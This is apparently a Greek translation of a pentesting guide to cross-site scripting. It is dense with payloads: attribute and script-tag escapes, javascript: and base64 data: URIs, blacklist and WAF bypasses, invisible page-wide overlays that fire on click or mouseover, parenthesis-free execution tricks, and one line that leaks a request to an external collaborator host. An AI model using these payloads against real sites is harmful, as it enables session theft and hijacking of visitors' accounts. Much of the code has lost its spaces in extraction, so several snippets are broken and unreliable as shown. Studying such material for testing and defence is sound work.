Εάν ενδιαφέρεστε για καριέρα στο χάκινγκ και για να χακάρετε το αχάκαρτο - σας προσλαμβάνουμε! (απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών).
Ελέγξτε εάν οποιαδήποτε τιμή ελέγχετε (παράμετροι, διαδρομή, κεφαλίδες?, cookies?) αντανακλάται στο HTML ή χρησιμοποιείται από κώδικα JS.
Βρείτε το πλαίσιο όπου αντανακλάται/χρησιμοποιείται.
Εάν αντανακλάται
Ελέγξτε ποια σύμβολα μπορείτε να χρησιμοποιήσετε και ανάλογα με αυτό, ετοιμάστε το payload:
Σε ακατέργαστο HTML:
Μπορείτε να δημιουργήσετε νέες ετικέτες HTML;
Μπορείτε να χρησιμοποιήσετε συμβάντα ή γνωρίσματα που υποστηρίζουν το πρωτόκολλο javascript:;
Μπορείτε να παρακάμψετε προστασίες;
Το περιεχόμενο HTML ερμηνεύεται από κάποιον μηχανισμό JS στον πελάτη (AngularJS, VueJS, Mavo...), μπορείτε να εκμεταλλευτείτε μια Ενσωμάτωση Προτύπου Πλευράς Πελάτη.
Για να εκμεταλλευτείτε με επιτυχία ένα XSS το πρώτο πράγμα που πρέπει να βρείτε είναι μια τιμή που ελέγχετε και αντανακλάται στην ιστοσελίδα.
Ενδιάμεσα αντανακλώμενο: Εάν βρείτε ότι η τιμή μιας παραμέτρου ή ακόμα και η διαδρομή αντανακλάται στην ιστοσελίδα, μπορείτε να εκμεταλλευτείτε ένα Αντανακλώμενο XSS.
Αποθηκευμένο και αντανακλώμενο: Εάν βρείτε ότι μια τιμή που ελέγχετε αποθηκεύεται στον διακομιστή και αντανακλάται κάθε φορά που έχετε πρόσβαση σε μια σελίδα, μπορείτε να εκμεταλλευτείτε ένα Αποθηκευμένο XSS.
Προσπελάσιμο μέσω JS: Εάν βρείτε ότι μια τιμή που ελέγχετε προσπελάζεται χρησιμοποιώντας JS, μπορείτε να εκμεταλλευτείτε ένα DOM XSS.
Πλαίσια
Όταν προσπαθείτε να εκμεταλλευτείτε ένα XSS το πρώτο πράγμα που πρέπει να γνωρίζετε είναι πού αντανακλάται η είσοδός σας. Ανάλογα με το πλαίσιο, θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα JS με διαφορετικούς τρόπους.
Ακατέργαστο HTML
Εάν η είσοδός σας αντανακλάται στην ακατέργαστη HTML σελίδα, θα πρέπει να εκμεταλλευτείτε κάποια ετικέτα HTML για να εκτελέσετε κώδικα JS: <img , <iframe , <svg , <script ... αυτές είναι μόνο μερικές από τις πολλές δυνατές ετικέτες HTML που μπορείτε να χρησιμοποιήσετε.
Επίσης, θυμηθείτε την Ενσωμάτωση Προτύπου Πλευράς Πελάτη.
Μέσα σε γνωρίσματα ετικετών HTML
Εάν η είσοδός σας αντανακλάται μέσα στην τιμή του γνωρίσματος μιας ετικέτας, μπορείτε να δοκιμάσετε:
Να δραπετεύσετε από το γνώρισμα και από την ετικέτα (τότε θα βρίσκεστε στην ακατέργαστη HTML) και να δημιουργήσετε νέα ετικέτα HTML για εκμετάλλευση: "><img [...]
Εάν μπορείτε να δραπετεύσετε από το γνώρισμα αλλά όχι από την ετικέτα (> κωδικοποιείται ή διαγράφεται), ανάλογα με την ετικέτα μπορείτε να δημιουργήσετε ένα συμβάν που εκτελεί κώδικα JS: " autofocus onfocus=alert(1) x="
Εάν δεν μπορείτε να δραπετεύσετε από το γνώρισμα (" κωδικοποιείται ή διαγράφεται), τότε ανάλογα με το ποιο γνώρισμα αντανακλάται η τιμή σας αν μπορείτε να ελέγξετε όλη την τιμή ή μόνο ένα μέρος, θα μπορείτε να το εκμεταλλευτείτε. Για παράδειγμα, αν ελέγχετε ένα συμβάν όπως το onclick=, θα μπορείτε να το κάνετε να εκτελέσει αυθαίρετο κώδικα όταν γίνει κλικ. Ένα άλλο ενδιαφέρον παράδειγμα είναι το γνώρισμα href, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο javascript: για να εκτελέσετε αυθαίρετο κώδικα: href="javascript:alert(1)"
Εάν η είσοδός σας αντανακλάται μέσα σε "μη εκμεταλλεύσιμες ετικέτες" μπορείτε να δοκιμάσετε το κόλπο με το accesskey για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποιον είδους κοινωνικού μηχανικού για να εκμεταλλευτείτε αυτό): " accesskey="x" onclick="alert(1)" x="
Παράδειγμα με Angular που εκτελεί XSS εάν ελέγχετε ένα όνομα κλάσης:
Σε αυτήν την περίπτωση, η είσοδός σας αντανακλάται μεταξύ των ετικετών <script> [...] </script> ενός HTML σελίδας, μέσα σε ένα αρχείο .js ή μέσα σε ένα γνώρισμα χρησιμοποιώντας το πρωτόκολλο javascript::
Αν αντανακλάται μεταξύ των ετικετών <script> [...] </script>, ακόμα κι αν η είσοδός σας βρίσκεται μέσα σε οποιοδήποτε είδος εισαγωγικών, μπορείτε να δοκιμάσετε να εισάγετε </script> και να δραπετεύσετε από αυτό το πλαίσιο. Αυτό λειτουργεί επειδή ο περιηγητής θα αναλύσει πρώτα τις ετικέτες HTML και μετά το περιεχόμενο, επομένως, δεν θα παρατηρήσει ότι το εισαγόμενο σας </script> είναι μέσα στον κώδικα HTML.
Αν αντανακλάται μέσα σε μια συμβολοσειρά JS και η προηγούμενη τεχνική δεν λειτουργεί, θα χρειαστεί να βγείτε από τη συμβολοσειρά, να εκτελέσετε τον κώδικά σας και να ανακατασκευάσετε τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
Αν αντανακλάται μέσα σε πρότυπα κειμένου, μπορείτε να ενσωματώσετε εκφράσεις JS χρησιμοποιώντας τη σύνταξη ${ ... }: var greetings = `Hello, ${alert(1)}`
Η κωδικοποίηση Unicode λειτουργεί για να γράψετε έγκυρο κώδικα JavaScript:
\u{61}lert(1)\u0061lert(1)\u{0061}lert(1)
Εξόρυξη Javascript
Η εξόρυξη Javascript αναφέρεται στη δυνατότητα δήλωσης συναρτήσεων, μεταβλητών ή κλάσεων μετά τη χρήση τους, ώστε να μπορείτε να εκμεταλλευτείτε περιπτώσεις όπου ένα XSS χρησιμοποιεί μη δηλωμένες μεταβλητές ή συναρτήσεις.Ελέγξτε την παρακάτω σελίδα για περισσότερες πληροφορίες:
Πολλές ιστοσελίδες έχουν σημεία πρόσβασης που δέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί. Ένα κοινό παράδειγμα που βλέπουμε συχνά είναι κάτι σαν: ?callback=callbackFunc.
Ένας καλός τρόπος να διαπιστώσετε αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι να τροποποιήσετε την τιμή της παραμέτρου (για παράδειγμα σε 'Ευάλωτο') και να ελέγξετε στην κονσόλα για σφάλματα όπως:
Σε περίπτωση που είναι ευάλωτο, μπορείτε να ενεργοποιήσετε ένα ειδοποιητικό μήνυμα απλά στέλνοντας την τιμή: ?callback=alert(1). Ωστόσο, είναι πολύ συνηθισμένο αυτά τα σημεία πρόσβασης να επικυρώνουν το περιεχόμενο για να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες ([\w\._]).
Ωστόσο, ακόμα και με αυτό τον περιορισμό είναι δυνατό να εκτελέσετε κάποιες ενέργειες. Αυτό οφείλεται στο γεγονός ότι μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για πρόσβαση σε οποιοδήποτε στοιχείο στο DOM:
Μπορείτε επίσης να δοκιμάσετε να ενεργοποιήσετε συναρτήσεις Javascript απευθείας: obj.sales.delOrders.
Ωστόσο, συνήθως τα σημεία που εκτελούν τη συγκεκριμένη λειτουργία είναι σημεία χωρίς πολύ ενδιαφέρον DOM, άλλες σελίδες στην ίδια προέλευση θα έχουν ένα πιο ενδιαφέρον DOM για να εκτελέσουν περισσότερες ενέργειες.
Επομένως, για να καταχραστείτε αυτήν την ευπάθεια σε ένα διαφορετικό DOM αναπτύχθηκε η εκμετάλλευση Same Origin Method Execution (SOME):
Υπάρχει κώδικας JS που χρησιμοποιεί μη ασφαλώς κάποια δεδομένα που ελέγχεται από έναν επιτιθέμενο όπως το location.href. Ένας επιτιθέμενος μπορεί να καταχραστεί αυτό για να εκτελέσει αυθαίρετο κώδικα JS.
Αυτού του είδους τα XSS μπορούν να βρεθούν οπουδήποτε. Δεν εξαρτώνται μόνο από την εκμετάλλευση του πελάτη ενός web εφαρμογής αλλά από οποιοδήποτεπλαίσιο. Αυτού του είδους η αυθαίρετη εκτέλεση JavaScript μπορεί ακόμα να καταχραστεί για να λάβει RCE, διαβάσειαυθαίρετααρχεία σε πελάτες και διακομιστές, και περισσότερα.
Μερικά παραδείγματα:
Όταν η είσοδός σας αντανακλάται μέσα στη σελίδα HTML ή μπορείτε να δραπετεύσετε και να ενσωματώσετε κώδικα HTML σε αυτό το πλαίσιο, το πρώτο πράγμα που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να καταχραστείτε το < για να δημιουργήσετε νέες ετικέτες: Απλά δοκιμάστε να αντανακλάτε αυτό το χαρακτήρα και ελέγξτε αν γίνεται κωδικοποίηση HTML ή διαγραφή του ή αν αντανακλάται χωρίς αλλαγές. Μόνο σε αυτήν την τελευταία περίπτωση θα μπορείτε να εκμεταλλευτείτε αυτήν την περίπτωση.
Για αυτές τις περιπτώσεις επίσης θυμηθείτεΕνσωμάτωση Πλευράς Πελάτη.Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας**** --> ή ****--!>
Σε αυτήν την περίπτωση και αν δεν χρησιμοποιείται μαύρη/λευκή λίστα, θα μπορούσατε να χρησιμοποιήσετε φορτία όπως:
Ωστόσο, εάν χρησιμοποιείται μαύρη/λευκή λίστα ετικετών/χαρακτηριστικών, θα πρέπει να δοκιμάσετε με βία ποιες ετικέτες μπορείτε να δημιουργήσετε.
Αφού έχετε εντοπίσει ποιες ετικέτες επιτρέπονται, θα πρέπει να δοκιμάσετε με βία τα χαρακτηριστικά/συμβάντα μέσα στις εντοπισμένες έγκυρες ετικέτες για να δείτε πώς μπορείτε να επιτεθείτε στο πλαίσιο.
Δοκιμή με βία ετικετών/συμβάντων
Πηγαίνετε στο https://portswigger.net/web-security/cross-site-scripting/cheat-sheet και κάντε κλικ στο Αντιγραφή ετικετών στο πρόχειρο. Στη συνέχεια, στείλτε τα όλα χρησιμοποιώντας το Burp intruder και ελέγξτε αν κάποιες ετικέτες δεν ανακαλύφθηκαν ως κακόβουλες από το WAF. Αφού ανακαλύψετε ποιες ετικέτες μπορείτε να χρησιμοποιήσετε, μπορείτε να δοκιμάσετε με βία όλα τα συμβάντα χρησιμοποιώντας τις έγκυρες ετικέτες (στην ίδια ιστοσελίδα κάντε κλικ στο Αντιγραφή συμβάντων στο πρόχειρο και ακολουθήστε την ίδια διαδικασία όπως πριν).
Προσαρμοσμένες ετικέτες
Αν δεν βρήκατε καμία έγκυρη ετικέτα HTML, μπορείτε να δοκιμάσετε να δημιουργήσετε μια προσαρμοσμένη ετικέτα και να εκτελέσετε κώδικα JS με το χαρακτηριστικό onfocus. Στο αίτημα XSS, πρέπει να τελειώσετε το URL με # για να κάνετε τη σελίδα εστιάσει σε αυτό το αντικείμενο και εκτελέσει τον κώδικα:
Αν χρησιμοποιείται κάποιου είδους μαύρη λίστα, μπορείτε να προσπαθήσετε να την παρακάμψετε με μερικά ανόητα κόλπα:
//Random capitalization<script> --> <ScrIpT><img --> <ImG//Double tag, in case just the first match is removed<script><script><scr<script>ipt><SCRscriptIPT>alert(1)</SCRscriptIPT>//You can substitude the space to separate attributes for://*%00//%00*/%2F%0D%0C%0A%09//Unexpected parent tags<svg><x><script>alert('1')</x>//Unexpected weird attributes<script x><scripta="1234"><script ~~~><script/random>alert(1)</script><script ///Note the newline>alert(1)</script><scr\x00ipt>alert(1)</scr\x00ipt>//Not closing tag, ending with " <" or " //"<iframeSRC="javascript:alert('XSS');" <<iframe SRC="javascript:alert('XSS');"////Extra open<<script>alert("XSS");//<</script>//Just weird an unexpected, use your imagination<</script/script><script><input type=image srconerror="prompt(1)">//Using `` instead of parenthesisonerror=alert`1`//Use more than one<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
<!-- Taken from the blog of Jorge Lajara --><svg/onload=alert``><scriptsrc=//aa.es><scriptsrc=//℡㏛.pw>
Click XSS - Clickjacking
Εάν για να εκμεταλλευτείτε την ευπάθεια χρειάζεστε τον χρήστη να κάνει κλικ σε ένα σύνδεσμο ή ένα φόρμα με προεπιλεγμένα δεδομένα, μπορείτε να δοκιμάσετε να καταχραστείτε το Clickjacking (εάν η σελίδα είναι ευάθροιστη).
Impossible - Dangling Markup
Εάν απλώς πιστεύετε ότι είναι αδύνατο να δημιουργήσετε ένα ετικέτα HTML με ένα γνώρισμα για να εκτελέσετε κώδικα JS, θα πρέπει να ελέγξετε το Danglig Markup επειδή θα μπορούσατε να εκμεταλλευτείτε την ευπάθεια χωρίς να εκτελέσετε κώδικα JS.
Ενσωμάτωση μέσα σε ετικέτα HTML
Μέσα στην ετικέτα/διαφυγή από την τιμή του γνωρίσματος
Εάν βρίσκεστε μέσα σε μια ετικέτα HTML, το πρώτο πράγμα που μπορείτε να δοκιμάσετε είναι να διαφύγετε από την ετικέτα και να χρησιμοποιήσετε κάποιες από τις τεχνικές που αναφέρονται στην προηγούμενη ενότητα για να εκτελέσετε κώδικα JS.
Εάν δεν μπορείτε να διαφύγετε από την ετικέτα, μπορείτε να δημιουργήσετε νέα γνωρίσματα μέσα στην ετικέτα για να δοκιμάσετε να εκτελέσετε κώδικα JS, για παράδειγμα χρησιμοποιώντας κάποιο φορτίο όπως (σημειώστε ότι σε αυτό το παράδειγμα χρησιμοποιούνται διπλά εισαγωγικά για να διαφύγετε από το γνώρισμα, δεν θα τα χρειαστείτε εάν η είσοδός σας αντανακλάται απευθείας μέσα στην ετικέτα):
<p style="animation: x;" onanimationstart="alert()">XSS</p><p style="animation: x;" onanimationend="alert()">XSS</p>#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Μέσα στο γνώρισμα
Ακόμα κι αν δεν μπορείτε να δραπετεύσετε από το γνώρισμα (" κωδικοποιείται ή διαγράφεται), ανάλογα με το ποιο γνώρισμα αντικατοπτρίζεται η τιμή σας, είτε ελέγχετε ολόκληρη την τιμή είτε μόνο ένα μέρος, μπορείτε να το εκμεταλλευτείτε. Για παράδειγμα, αν ελέγχετε ένα γεγονός όπως το onclick=, μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν γίνει κλικ.
Ένα άλλο ενδιαφέρον παράδειγμα είναι το γνώρισμα href, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο javascript: για να εκτελέσετε αυθαίρετο κώδικα: href="javascript:alert(1)"
Παράκαμψη μέσα σε γεγονός χρησιμοποιώντας κωδικοποίηση HTML/κωδικοποίηση URL
Οι κωδικοποιημένοι χαρακτήρες HTML μέσα στην τιμή των γνωρισμάτων ετικετών HTML αποκωδικοποιούνται κατά την εκτέλεση. Επομένως, κάτι τέτοιο θα είναι έγκυρο (η φορτίο βρίσκεται σε bold): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Επιστροφή </a>
Σημειώστε ότι οποιαδήποτε μορφή κωδικοποίησης HTML είναι έγκυρη:
//HTML entities'-alert(1)-'//HTML hex without zeros'-alert(1)-'//HTML hex with zeros'-alert(1)-'//HTML dec without zeros'-alert(1)-'//HTML dec with zeros'-alert(1)-'<ahref="javascript:var a=''-alert(1)-''">a</a><ahref="javascript:alert(2)">a</a><ahref="javascript:alert(3)">a</a>
Σημείωση ότι η κωδικοποίηση URL θα λειτουργήσει επίσης:
//For some reason you can use unicode to encode "alert" but not "(1)"<imgsrconerror=\u0061\u006C\u0065\u0072\u0074(1) /><imgsrconerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Ειδικοί Πρωτόκολλοι Εντός του Χαρακτηριστικού
Εκεί μπορείτε να χρησιμοποιήσετε τα πρωτόκολλα javascript: ή data: σε ορισμένα σημεία για να εκτελέσετε αυθαίρετο κώδικα JS. Κάποια θα απαιτήσουν αλληλεπίδραση χρήστη και κάποια όχι.
javascript:alert(1)JavaSCript:alert(1)javascript:%61%6c%65%72%74%28%31%29//URL encodejavascript:alert(1)javascript:alert(1)javascript:alert(1)javascriptΪlert(1)java //Note the new linescript:alert(1)data:text/html,<script>alert(1)</script>DaTa:text/html,<script>alert(1)</script>data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3edata:text/html;charset=UTF-8,<script>alert(1)</script>data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pgdata:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Τοποθεσίες όπου μπορείτε να εισάγετε αυτά τα πρωτόκολλα
Γενικά το πρωτόκολλο javascript: μπορεί να χρησιμοποιηθεί σε οποιαδήποτε ετικέτα που δέχεται το γνώρισμα href και σε τις περισσότερες από τις ετικέτες που δέχονται το γνώρισμα src (αλλά όχι <img)
Σε αυτήν την περίπτωση, η κωδικοποίηση HTML και το κόλπο κωδικοποίησης Unicode από την προηγούμενη ενότητα είναι επίσης έγκυρα καθώς βρίσκεστε μέσα σε ένα γνώρισμα.
Επιπλέον, υπάρχει ένα όμορφο κόλπο για αυτές τις περιπτώσεις: Ακόμα κι αν το input σας μέσα στο javascript:... είναι κωδικοποιημένο ως URL, θα αποκωδικοποιηθεί πριν εκτελεστεί. Έτσι, αν χρειάζεται να δραπετεύσετε από το string χρησιμοποιώντας μια μονή απόστροφο και βλέπετε ότι είναι κωδικοποιημένο ως URL, θυμηθείτε ότι δεν έχει σημασία, θα ερμηνευτεί ως μονή απόστροφο κατά την εκτέλεση.
Σημειώστε ότι αν προσπαθήσετε να χρησιμοποιήσετε και τα δύοURLencode + HTMLencode με οποιαδήποτε σειρά για να κωδικοποιήσετε το payload δεν θα λειτουργήσει, αλλά μπορείτε να τα ανακατέψετε μέσα στο payload.
Χρήση κωδικοποίησης Hex και Octal με javascript:
Μπορείτε να χρησιμοποιήσετε την κωδικοποίηση Hex και Octal μέσα στο χαρακτηριστικό src του iframe (τουλάχιστον) για να δηλώσετε HTML tags για εκτέλεση JS:
//Encoded: <svg onload=alert(1)>// This WORKS<iframesrc=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' /><iframesrc=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />//Encoded: alert(1)// This doesn't work<svgonload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' /><svgonload=javascript:'\141\154\145\162\164\50\61\51' />
Αντίστροφη απαγωγή καρτέλας
<atarget="_blank"rel="opener"
Εάν μπορείτε να εισάγετε οποιοδήποτε URL σε ένα αυθαίρετο <a href= tag που περιέχει τα χαρακτηριστικά target="_blank" και rel="opener", ελέγξτε τη εξής σελίδα για να εκμεταλλευτείτε αυτή τη συμπεριφορά:
Καταρχάς ελέγξτε αυτήν τη σελίδα (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) για χρήσιμους "on" event handlers.
Σε περίπτωση που υπάρχει κάποια μαύρη λίστα που εμποδίζει τη δημιουργία αυτών των event handlers, μπορείτε να δοκιμάσετε τις ακόλουθες παρακάμψεις:
<svg onload%09=alert(1)> //No safari<svg %09onload=alert(1)><svg %09onload%20=alert(1)><svg onload%09%20%28%2c%3b=alert(1)>//chars allowed between the onevent and the "="IExplorer: %09 %0B %0C %020 %3BChrome: %09 %20 %28 %2C %3BSafari: %2C %3BFirefox: %09 %20 %28 %2C %3BOpera: %09 %20 %2C %3BAndroid: %09 %20 %28 %2C %3B
XSS σε "Μη εκμεταλλεύσιμες ετικέτες" (κρυφή είσοδος, σύνδεσμος, κανονικός, μετα)
Από εδώείναι πλέον δυνατή η κατάχρηση των κρυφών εισόδων με:
<!-- Injection inside meta attribute--><metaname="apple-mobile-web-app-title"content=""Twitterpopoverid="newsletter"onbeforetoggle=alert(2) /><!-- Existing target--><buttonpopovertarget="newsletter">Subscribe to newsletter</button><divpopoverid="newsletter">Newsletter popup</div>
Από εδώ: Μπορείτε να εκτελέσετε ένα XSS payload μέσα σε ένα κρυφό γνώρισμα, εφόσον μπορείτε να πείσετε το θύμα να πατήσει το συνδυασμό πλήκτρων. Στο Firefox Windows/Linux ο συνδυασμός πλήκτρων είναι ALT+SHIFT+X και στο OS X είναι CTRL+ALT+X. Μπορείτε να καθορίσετε έναν διαφορετικό συνδυασμό πλήκτρων χρησιμοποιώντας ένα διαφορετικό πλήκτρο στο γνώρισμα πρόσβασης. Εδώ είναι το διάνυσμα:
Το XSS payload θα είναι κάτι τέτοιο: " accesskey="x" onclick="alert(1)" x="
Παράκαμψη Μαύρης Λίστας
Έχουν αποκαλυφθεί ήδη αρκετά κόλπα χρησιμοποιώντας διαφορετικές κωδικοποιήσεις μέσα σε αυτήν την ενότητα. Πήγαινε πίσω για να μάθεις πού μπορείς να χρησιμοποιήσεις:
Κωδικοποίηση HTML (ετικέτες HTML)
Κωδικοποίηση Unicode (μπορεί να είναι έγκυρος κώδικας JS):\u0061lert(1)
Αν βρήκες ένα XSS σε ένα πολύ μικρό μέρος του ιστοώστερου που απαιτεί κάποιο είδος αλληλεπίδρασης (ίσως ένα μικρό link στο υποσέλιδο με ένα στοιχείο onmouseover), μπορείς να τροποποιήσεις τον χώρο που καταλαμβάνει το στοιχείο για να μεγιστοποιήσεις τις πιθανότητες εκτέλεσης του συνδέσμου.
Για παράδειγμα, θα μπορούσες να προσθέσεις κάποια στυλιστικά στοιχεία στο στοιχείο όπως: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Αλλά, αν το WAF φιλτράρει το χαρακτηριστικό style, μπορείς να χρησιμοποιήσεις τα CSS Styling Gadgets, οπότε αν βρεις, για παράδειγμα
.test {display:block; color: blue; width: 100%}
και
#someid {top: 0; font-family: Tahoma;}
Τώρα μπορείς να τροποποιήσεις τον σύνδεσμό μας και να τον φέρεις στη μορφή
Σε αυτές τις περιπτώσεις το input σου θα αντανακλάται μέσα στον κώδικα JS ενός αρχείου .js ή μεταξύ των ετικετών <script>...</script> ή μεταξύ των HTML events που μπορούν να εκτελέσουν κώδικα JS ή μεταξύ των χαρακτηριστικών που δέχονται το πρωτόκολλο javascript:.
Απόδραση της ετικέτας <script>
Αν ο κώδικάς σου εισάγεται μέσα σε <script> [...] var input = 'αντανακλαστικά δεδομένα' [...] </script> μπορείς εύκολα να αποδράσεις κλείνοντας την ετικέτα <script>:
Σημειώστε ότι σε αυτό το παράδειγμα δεν έχουμε κλείσει ούτε τη μονή απόστροφο. Αυτό συμβαίνει επειδή η ανάλυση HTML πραγματοποιείται πρώτα από τον περιηγητή, η οποία περιλαμβάνει την αναγνώριση στοιχείων σελίδας, συμπεριλαμβανομένων των τμημάτων κώδικα. Η ανάλυση του JavaScript για την κατανόηση και εκτέλεση των ενσωματωμένων σεναρίων πραγματοποιείται μόνο μετά.
Μέσα στον κώδικα JS
Αν τα <> αποσαφηνίζονται, μπορείτε ακόμα να αποδράσετε από τη συμβολοσειρά όπου βρίσκεται η είσοδός σας και να εκτελέσετε αυθαίρετο JS. Είναι σημαντικό να διορθώσετε τη σύνταξη του JS, επειδή αν υπάρχουν οποιαδήποτε σφάλματα, ο κώδικας JS δεν θα εκτελεστεί:
Για να κατασκευάσετε συμβολοσειρές εκτός από μονά και διπλά εισαγωγικά, το JS δέχεται επίσης ανάστροφες μονάδες``. Αυτό είναι γνωστό ως πρότυπα συμβολοσειρών καθώς επιτρέπει τη ενσωμάτωση εκφράσεων JS χρησιμοποιώντας τη σύνταξη ${ ... }.
Συνεπώς, αν διαπιστώσετε ότι η είσοδός σας αντανακλάται μέσα σε μια συμβολοσειρά JS που χρησιμοποιεί ανάστροφες μονάδες, μπορείτε να καταχραστείτε τη σύνταξη ${ ... } για να εκτελέσετε οποιοδήποτε JS κώδικα:
Αυτό μπορεί να καταχραστεί χρησιμοποιώντας:
`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``functionloop(){return loop}loop``````````````
Κωδικός εκτέλεσης κωδικοποιημένος
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab// Any other char escaped is just itself
//This is a 1 line comment/* This is a multiline comment*/<!--This is a 1line comment#!This is a 1 line comment, but "#!" must to be at the beggining of the first line-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
//Javascript interpret as new line these chars:String.fromCharCode(10); alert('//\nalert(1)') //0x0aString.fromCharCode(13); alert('//\ralert(1)') //0x0dString.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
Κενά στην JavaScript
log=[];functionfunct(){}for(let i=0;i<=0x10ffff;i++){try{eval(`funct${String.fromCodePoint(i)}()`);log.push(i);}catch(e){}}console.log(log)//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:<img/src/onerror=alert(1)>
Κώδικας Javascript μέσα σε ένα σχόλιο
//If you can only inject inside a JS comment, you can still leak something//If the user opens DevTools request to the indicated sourceMappingURL will be send//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript χωρίς παρενθέσεις
// By setting locationwindow.location='javascript:alert\x281\x29'x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x// or any DOMXSS sink such as location=name// Backtips// Backtips pass the string as an array of lenght 1alert`1`// Backtips + Tagged Templates + call/applyeval`alert\x281\x29`// This won't work as it will just return the passed arraysetTimeout`alert\x281\x29`eval.call`${'alert\x281\x29'}`eval.apply`${[`alert\x281\x29`]}`[].sort.call`${alert}1337`[].map.call`${eval}\\u{61}lert\x281337\x29`// To pass several arguments you can usefunctionbtt(){console.log(arguments);}btt`${'arg1'}${'arg2'}${'arg3'}`//It's possible to construct a function and call itFunction`x${'alert(1337)'}x```// .replace can use regexes and call a function if something is found"a,".replace`a${alert}`//Initial ["a"] is passed to str as "a," and thats why the initial string is "a,""a".replace.call`1${/./}${alert}`// This happened in the previous example// Change "this" value of call to "1,"// match anything with regex /./// call alert with "1""a".replace.call`1337${/..../}${alert}`//alert with 1337 instead// Using Reflect.apply to call any function with any argumnetsReflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`// Using Reflect.set to call set any value to a variableReflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString// These operations are called when the object is used as a primitive// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''toString=alert;window+''// Error handlerwindow.onerror=eval;throw"=alert\x281\x29";onerror=eval;throw"=alert\x281\x29";<imgsrc=x onerror="window.onerror=eval;throw'=alert\x281\x29'">{onerror=eval}throw"=alert(1)" //No ";"onerror=alert //No ";" using new linethrow 1337// Error handler + Special unicode separatorseval("onerror=\u2028alert\u2029throw 1337");// Error handler + Comma separator// The comma separator goes through the list and returns only the last elementvar a = (1,2,3,4,5,6) // a = 6throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alertthrow onerror=alert,1,1,1,1,1,1337// optional exception variables inside a catch clause.try{throw onerror=alert}catch{throw 1}// Has instance symbol'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
